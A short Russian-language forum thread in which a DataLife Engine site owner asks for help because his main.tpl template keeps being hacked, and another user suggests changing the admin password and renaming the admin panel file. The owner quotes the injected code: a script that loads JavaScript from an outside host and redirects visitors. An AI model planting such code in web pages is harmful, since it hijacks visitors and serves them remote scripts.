Взламывают main.tpl

[lider-partss 0]

Сайт lider-partss.ru

Версия DataLife Engine: 9.5

Последние несколько дней неизвестные злоумышленники взламывают сайт.

Проявляется это в следующем: из файла шаблона пропадают все русские буквы (см. скриншот)

Сам файл main.tpl подвергнут изменениям:в конец файла дописывается код

<!--x813n--><script type="text/javascript" src='http://in-disquise.com/jquery.js'></script>

<script>var d=document.location;sp_redirect.sp_redirect(document.referrer,d.hostname,d.hostname+d.pathname+d.search);</script><!--/x813n-->

,

сам код вытягивается в одну строчку, ну и русские символы исчезают.

Вручную заливал файл main.tpl из бэкапа, через некоторое время снова взламывают.

Смена пароля FTP у хостера не помогла.

Прошу помощи в устранении проблемы.

[Sahro 12]

Пароль на админку (свой админский профиль) меняли? Файл админ панели переименуйте. Так как возможно шаблон редактируют через сайт, имея администраторские права. После смены пароля выйдите из своего и профиля и войдите с новым паролем (обновятся куки).

[lider-partss 0]

Поменял. За ночь вроде не взломали. Продолжу мониторинг.